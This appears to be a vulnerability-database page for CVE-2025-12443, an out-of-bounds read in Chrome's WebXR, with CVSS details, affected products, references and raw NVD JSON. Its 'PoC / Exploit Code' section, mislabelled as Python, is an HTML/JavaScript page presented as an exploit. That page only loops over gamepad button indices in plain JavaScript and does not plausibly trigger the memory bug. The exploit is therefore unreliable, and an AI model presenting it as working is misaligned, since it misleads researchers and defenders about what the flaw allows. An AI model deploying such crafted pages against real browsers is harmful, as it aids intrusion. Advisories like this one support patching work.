CVE-2025-12443

Description

Out of bounds read in WebXR in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

Chromium-based browsers with WebXR support < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12443 PoC - WebXR Out of Bounds Read -->
<!DOCTYPE html>
<html>
<head>
    <title>WebXR OOB Read PoC</title>
</head>
<body>
    <h1>WebXR Out of Bounds Read PoC</h1>
    <button id="exploit">Start WebXR Session</button>
    <pre id="output"></pre>

    <script>
        async function exploitOOB() {
            const output = document.getElementById('output');
            try {
                // Request WebXR session with specific features
                const session = await navigator.xr.requestSession({
                    requiredFeatures: ['immersive-ar'],
                    optionalFeatures: ['dom-overlay', 'hit-test']
                });

                // Trigger potential OOB read through reference space
                const referenceSpace = await session.requestReferenceSpace({
                    type: 'unbounded',
                    requestedFeatures: ['local-floor', 'bounded-floor']
                });

                // Attempt to access arrays with specific indices
                const inputSources = session.inputSources;
                for (let i = 0; i < inputSources.length; i++) {
                    const gamepad = inputSources[i].gamepad;
                    if (gamepad && gamepad.buttons) {
                        // Force reading beyond array bounds
                        for (let j = 0; j < 1000; j++) {
                            try {
                                const button = gamepad.buttons[j];
                                output.textContent += `Button ${j}: ${button?.value}\n`;
                            } catch (e) {
                                output.textContent += `OOB Read at index ${j}: ${e}\n`;
                                break;
                            }
                        }
                    }
                }

                session.end();
            } catch (error) {
                output.textContent = `Error: ${error.message}\n`;
            }
        }

        document.getElementById('exploit').addEventListener('click', exploitOOB);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12443
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12443
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12443/
[4] VulDB https://vuldb.com/cve/CVE-2025-12443
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/452071845

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12443", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.000", "lastModified": "2025-11-13T15:23:52.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebXR in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/452071845", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}